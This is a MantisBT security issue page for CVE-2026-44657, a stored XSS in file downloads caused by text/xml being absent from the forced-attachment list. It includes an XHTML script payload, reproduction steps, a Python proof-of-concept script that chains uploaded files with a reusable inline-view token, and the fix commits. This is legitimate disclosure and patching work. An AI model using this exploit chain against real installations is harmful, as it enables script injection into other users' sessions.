View Issue Details

IDProjectCategoryView StatusLast Update
0037020mantisbtsecuritypublic2026-05-09 19:56
Reportersiunam Assigned Todregad  
PriorityhighSeverityminorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.1 
Target Version2.28.2Fixed in Version2.28.2 
Summary0037020: CVE-2026-44657: Stored XSS in File Download
Description

By default, the function http_content_disposition_header call in line 214 will set response header Content-Disposition with the attachment flag, in which the browser will download the response body data as a file to disk:

file_download.php line 214:

http_content_disposition_header( $t_filename, $t_show_inline );

core/http_api.php line 78 - 97:

function http_content_disposition_header( $p_filename, $p_inline = false ) {
    if( !headers_sent() ) {
        // [...]
        if( !$p_inline ) {
            $t_disposition = 'attachment;';
        }
        if( is_browser_internet_explorer() || is_browser_chrome() ) {
            // [...]
            header( 'Content-Disposition:' . $t_disposition . ' filename="' . $t_encoded_filename . '"' );
        } else {
            // [...]
            header( 'Content-Disposition:' . $t_disposition . ' filename*=UTF-8\'\'' . $t_encoded_filename . '; filename="' . $t_encoded_filename . '"' );
        }
    }
}

To force the attachment to be displayed and rendered in the browser, the user can provide GET parameter show_inline=1 and a valid file_show_inline_token CSRF token:

$f_show_inline = gpc_get_bool( 'show_inline', false );
// [...]
if( $f_show_inline ) {
    // [...]
    if( !@form_security_validate( 'file_show_inline' ) ) {
        http_all_headers();
        trigger_error( ERROR_FORM_TOKEN_INVALID, ERROR );
    }
}
// [...]
$t_show_inline = $f_show_inline;
// [...]
http_content_disposition_header( $t_filename, $t_show_inline );

Moreover, some MIME types will be forced to be downloaded or rendered by browsers:

$t_mime_force_inline = array(
    'application/pdf',
    'image/bmp',
    'image/gif',
    'image/jpeg',
    'image/png',
    'image/tiff',
    'image/webp',
);
$t_mime_force_attachment = array(
    'application/x-shockwave-flash',
    'image/svg+xml', # SVG could contain CSS or scripting, see #30384
    'text/html',
);

# extract mime type from content type
$t_mime_type = explode( ';', $t_content_type, 2 );
$t_mime_type = $t_mime_type[0];

if( in_array( $t_mime_type, $t_mime_force_inline ) ) {
    $t_show_inline = true;
} else if( in_array( $t_mime_type, $t_mime_force_attachment ) ) {
    $t_show_inline = false;
}

Unfortunately, array $t_mime_force_attachment did not specify MIME type text/xml:

$t_mime_force_attachment = array(
    'application/x-shockwave-flash',
    'image/svg+xml', # SVG could contain CSS or scripting, see #30384
    'text/html',
);

Which allows the attacker to achieve stored XSS if he/she uploaded an XHTML file and provided a valid file_show_inline_token CSRF token and parameter show_inline=1 when downloading the file:

$finfo = new finfo(FILEINFO_MIME_TYPE);

$fileContent = <<<'EOT'
<?xml version="1.0" encoding="UTF-8"?>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" 
    src="/file_download.php?file_id=2&type=bug&show_inline=1&file_show_inline_token=20260406MPUWKcoToyRsqI-XPyP5avu2IJyjoBFs">
</x:script>
EOT;
$mimeType = $finfo->buffer($fileContent);
var_dump($mimeType);
// string(8) "text/xml"

Also, file_show_inline_token CSRF tokens are not invalidated once it's used. Therefore, the attacker can first generate a valid token by uploading an image, an audio, or a video file (Function print_bug_attachment_preview_image and print_bug_attachment_preview_audio_video in core/print_api.php), and then use that token to force the uploaded XHTML file to be rendered by the browser.

To escalate this self-XSS vulnerability, the attacker could follow the same steps in https://mantisbt.org/bugs/view.php?id=37011. For the file_show_inline_token, it could be leaked via leveraging other vulnerabilities, such as HTML injection in user's font_family preference (https://mantisbt.org/bugs/view.php?id=37011). Although the CSP prevents exfiltrating the CSRF token, it could still be done via XS-Leak, such as <object> frame counting.

Steps To Reproduce
  1. Login as a user (With access level "Reporter" or above to upload files)
  2. Create a new issue if no issues exist
  3. Visit an issue page (/view.php?id=<issue_id>)
  4. Upload 3 files: JavaScript file for bypassing the CSP, XHTML file for the browser to render the file as XHTML, and an image file (i.e.: GIF) for getting a valid file_show_inline_token CSRF token
  5. Get CSRF token file_show_inline_token from the image file
  6. Visit URL path: /file_download.php?file_id=<XHTML_file_id>&type=bug&show_inline=1&file_show_inline_token=<image_file_show_inline_token>
Additional Information

A Proof-of-Concept Python script (poc.py) and a video (https://www.youtube.com/watch?v=MGmBBa9Uz3Q) are attached.

TagsNo tags attached.
Attached Files
poc_self-xss.py (6,131 bytes)   
import requests
from bs4 import BeautifulSoup
from base64 import b64encode
from urllib.parse import urlencode

class Poc:
    def __init__(self, baseUrl):
        self.baseUrl = baseUrl
        self.ISSUE_CATEGORY_GENERAL_ID = 1
        self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME = 'file_show_inline_token'

        self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me'
        self.REST_CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues'
        self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files'
        self.REST_GET_ISSUE_FILES_ENDPOINT = f'{self.baseUrl}/api/rest/issues/{{issueId}}/files'
        self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php'
        self.FILE_DOWNLOAD_ENDPOINT = f'{self.baseUrl}/file_download.php'
        self.VIEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/view.php?id={{issueId}}'

    def login(self, account):
        data = {
            'username': account['username'],
            'password': account['password']
        }
        response = account['session'].post(self.LOGIN_ENDPOINT, data=data)
        response.raise_for_status()

    def getCurrentUserInfo(self, account):
        response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT)
        response.raise_for_status()
        return response.json()

    def getCSRFToken(self, endpoint, account, tagName, attributeName):
        response = account['session'].get(endpoint)
        response.raise_for_status()

        soup = BeautifulSoup(response.text, 'html.parser')
        csrfToken = soup.find(tagName)[attributeName]
        return csrfToken

    def createNewIssue(self, account, summary='PoC', description='Poc'):
        data = {
            'summary': summary,
            'description': description,
            'project': account['user_info']['projects'][0],
            'category': { 'id': self.ISSUE_CATEGORY_GENERAL_ID }
        }
        response = account['session'].post(self.REST_CREATE_NEW_ISSUE_ENDPOINT, json=data)
        response.raise_for_status()

        return response.json()['issue']

    def addAttachmentToIssue(self, account, issueId, files):
        data = { 'files': files }
        response = account['session'].post(self.REST_ADD_ATTACHMENT_TO_ISSUE_ENDPOINT.format(issueId=issueId), json=data)
        response.raise_for_status()

    def getAllIssueAttachments(self, account, issueId):
        response = account['session'].get(self.REST_GET_ISSUE_FILES_ENDPOINT.format(issueId=issueId))
        response.raise_for_status()
        return response.json()['files']
    
    def getIssueAttachmentEndpoint(self, account, issueId, fileName):
        files = self.getAllIssueAttachments(account, issueId)
        for file in files:
            if file['filename'] != fileName:
                continue

            parameter = {
                'file_id': file['id'],
                'type': 'bug'
            }
            url = f'/{self.FILE_DOWNLOAD_ENDPOINT.split("/")[-1]}?{urlencode(parameter)}'
            return url
        
        return None

    def execute(self, accounts):
        # 1. Login as reporter
        self.login(accounts['reporter'])
        accounts['reporter']['user_info'] = self.getCurrentUserInfo(accounts['reporter'])

        newIssue = self.createNewIssue(accounts['reporter'])
        print(f'[+] Created a new issue. ID: {newIssue["id"]}')

        # 2. Upload JavaScript file
        javaScriptPayload = '''
#!/usr/bin/env node
alert(origin)
'''.strip()
        javaScriptFile = {
            'name': 'exploit.js',
            'content': b64encode(javaScriptPayload.encode()).decode()
        }
        self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], [javaScriptFile])

        javaScriptFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], javaScriptFile['name'])
        print(f'[+] Uploaded JavaScript file. File endpoint: {javaScriptFileEndpoint}')

        # 3. Upload XHTML file, which will get treated as MIME type `text/xml` by PHP finfo. Also upload an image file to get a valid `file_show_inline_token`, so that we can force the XHTML file to be shown inline
        xhtmlPayload = f'''
<?xml version="1.0" encoding="UTF-8"?>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="{javaScriptFileEndpoint.replace('&', '&amp;')}"></x:script>
'''.strip()
        imagePayload = 'GIF89a' # Minimal valid GIF file header

        files = [
            {
                'name': 'exploit.xhtml',
                'content': b64encode(xhtmlPayload.encode()).decode()
            },
            {
                'name': 'inline_token.gif',
                'content': b64encode(imagePayload.encode()).decode()
            }
        ]
        self.addAttachmentToIssue(accounts['reporter'], newIssue['id'], files)
        xhtmlFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[0]['name'])
        xhtmlFileId = xhtmlFileEndpoint.split('file_id=')[-1].split('&')[0]
        imageFileEndpoint = self.getIssueAttachmentEndpoint(accounts['reporter'], newIssue['id'], files[1]['name'])
        print(f'[+] Uploaded XHTML file. File endpoint: {xhtmlFileEndpoint}')
        print(f'[+] Uploaded image file. File endpoint: {imageFileEndpoint}')

        print(f'[+] To trigger the self-XSS payload:')
        print(f'    1. Login as {accounts["reporter"]["username"]}')
        print(f'    2. Visit the issue page: {self.VIEW_ISSUE_PAGE_ENDPOINT.format(issueId=newIssue["id"])}')
        print(f'    3. Get CSRF token {self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME} from the image file "{files[1]["name"]}"')
        print(f'    4. Visit URL: {self.FILE_DOWNLOAD_ENDPOINT}?file_id={xhtmlFileId}&type=bug&show_inline=1&{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}=<{files[1]["name"]}_{self.FILE_SHOW_INLINE_CSRF_TOKEN_NAME}>')

if __name__ == '__main__':
    baseUrl = 'http://localhost:8080'
    accounts = {
        'reporter': {
            'username': 'reporter',
            'password': 'password',
            'session': requests.Session()
        }
    }

    poc = Poc(baseUrl)
    poc.execute(accounts)
poc_self-xss.py (6,131 bytes)   

Relationships

related to 0037016 closeddregad CVE-2026-40597: Content Security Policy bypass via attachments 

Activities

siunam

siunam

2026-04-13 07:50

reporter   ~0071007

Patch

As the discussion in https://mantisbt.org/bugs/view.php?id=37011#c70967, if the file's MIME type is not a whitelisted MIME type, we can force them to be text/plain and with the attachment flag in response header Content-Disposition if needed.

siunam

siunam

2026-04-13 07:55

reporter   ~0071008

CVSS v4 score: 7.5
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

siunam

siunam

2026-05-02 01:45

reporter   ~0071053

@dregad Any update on this?

siunam

siunam

2026-05-02 01:46

reporter   ~0071056

I also forgot to mentioned that the file_show_inline_token CSRF token should also be invalidated once it's used.

dregad

dregad

2026-05-03 14:33

developer   ~0071067

I confirm the vulnerability.

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-p6fr-rxq7-xcg8 created and CVE request sent.

I believe that the patch for 0037016 I posted 45 minutes ago also addresses this Issue. Kindly test and confirm.

siunam

siunam

2026-05-07 01:30

reporter   ~0071072

I confirmed the patch fixed the vulnerability! I also left some comments on that PR.

dregad

dregad

2026-05-08 08:17

developer   ~0071078

CVE-2026-44657 assigned

Related Changesets

MantisBT: master-2.28 26647b2e

2026-05-03 13:46

dregad


Details Diff
Restrict MIME type for file downloads

Until now, file_download.php was sending attachments content with a MIME
type determined by PHP's Fileinfo [1]. This creates a risk of JavaScript
execution bypassing the Content Security Policy.

We now only set the Content-Type header for known safe types (e.g. PDF
and images), all text types are forced to text/plain and the rest is
sent as application/octet-stream.

Includes corrections following review by vboctor.

Fixes 0037016, GHSA-9c3j-xm6v-j7j3 / CVE-2026-40597

[1]: https://www.php.net/manual/en/book.fileinfo.php
Affected Issues
0037016, 0037020
mod - file_download.php Diff File

MantisBT: master-2.28 9e43cd80

2026-05-07 11:30

dregad


Details Diff
Purge file_show_inline security token after use

This ensures that the token cannot be reused after displaying the
attachment inline.

Issue 0037020
Affected Issues
0037020
mod - file_download.php Diff File